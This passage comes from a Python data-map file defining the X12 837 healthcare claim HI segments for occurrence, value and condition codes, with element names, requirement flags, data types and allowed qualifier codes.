position=2, codes=[u'RD8'] ) ), Element( u'HI12-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI12-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI12-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI12-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), ), Segment( u'HI', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'231',desc=u'Occurrence Information'), Composite( u'C022', Properties(req_sit=u'R',refdes='',seq=u'01',desc=u'Health Care Code Information'), Element( u'HI01-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI01-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI01-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI01-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI01-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI01-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI01-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'02',desc=u'Health Care Code Information'), Element( u'HI02-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI02-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI02-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI02-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI02-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI02-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI02-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'03',desc=u'Health Care Code Information'), Element( u'HI03-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI03-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI03-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI03-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI03-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI03-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI03-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'04',desc=u'Health Care Code Information'), Element( u'HI04-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI04-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI04-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI04-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI04-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI04-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI04-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'05',desc=u'Health Care Code Information'), Element( u'HI05-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI05-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI05-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI05-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI05-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI05-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI05-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'06',desc=u'Health Care Code Information'), Element( u'HI06-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI06-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI06-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI06-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI06-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI06-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI06-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'07',desc=u'Health Care Code Information'), Element( u'HI07-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI07-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI07-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI07-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI07-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI07-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI07-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'08',desc=u'Health Care Code Information'), Element( u'HI08-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI08-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI08-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI08-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI08-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI08-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI08-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'09',desc=u'Health Care Code Information'), Element( u'HI09-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI09-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI09-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI09-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI09-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI09-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI09-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'10',desc=u'Health Care Code Information'), Element( u'HI10-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI10-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI10-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI10-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI10-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI10-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI10-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'11',desc=u'Health Care Code Information'), Element( u'HI11-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI11-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI11-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI11-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI11-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI11-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI11-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'12',desc=u'Health Care Code Information'), Element( u'HI12-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI12-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI12-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI12-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI12-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI12-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI12-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), ), Segment( u'HI', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'231',desc=u'Value Information'), Composite( u'C022', Properties(req_sit=u'R',refdes='',seq=u'01',desc=u'Health Care Code Information'), Element( u'HI01-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI01-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI01-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI01-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI01-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI01-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI01-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'02',desc=u'Health Care Code Information'), Element( u'HI02-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI02-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI02-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI02-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI02-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI02-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI02-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'03',desc=u'Health Care Code Information'), Element( u'HI03-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI03-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI03-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI03-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI03-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI03-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI03-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'04',desc=u'Health Care Code Information'), Element( u'HI04-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI04-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI04-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI04-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI04-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI04-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI04-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'05',desc=u'Health Care Code Information'), Element( u'HI05-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI05-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI05-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI05-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI05-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI05-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI05-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'06',desc=u'Health Care Code Information'), Element( u'HI06-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI06-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI06-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI06-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI06-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI06-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI06-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'07',desc=u'Health Care Code Information'), Element( u'HI07-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI07-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI07-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI07-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI07-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI07-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI07-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'08',desc=u'Health Care Code Information'), Element( u'HI08-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI08-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI08-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI08-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI08-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI08-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI08-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'09',desc=u'Health Care Code Information'), Element( u'HI09-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI09-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI09-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI09-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI09-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI09-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI09-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'10',desc=u'Health Care Code Information'), Element( u'HI10-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI10-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI10-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI10-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI10-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI10-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI10-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'11',desc=u'Health Care Code Information'), Element( u'HI11-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI11-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI11-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI11-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI11-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI11-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI11-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'12',desc=u'Health Care Code Information'), Element( u'HI12-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BE'] ) ), Element( u'HI12-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI12-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI12-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI12-05', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI12-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI12-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), ), Segment( u'HI', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'231',desc=u'Condition Information'), Composite( u'C022', Properties(req_sit=u'R',refdes='',seq=u'01',desc=u'Health Care Code Information'), Element( u'HI01-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI01-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI01-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI01-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI01-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI01-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI01-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'02',desc=u'Health Care Code Information'), Element( u'HI02-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI02-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI02-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI02-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI02-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI02-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI02-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'03',desc=u'Health Care Code Information'), Element( u'HI03-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI03-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI03-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI03-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI03-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI03-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] 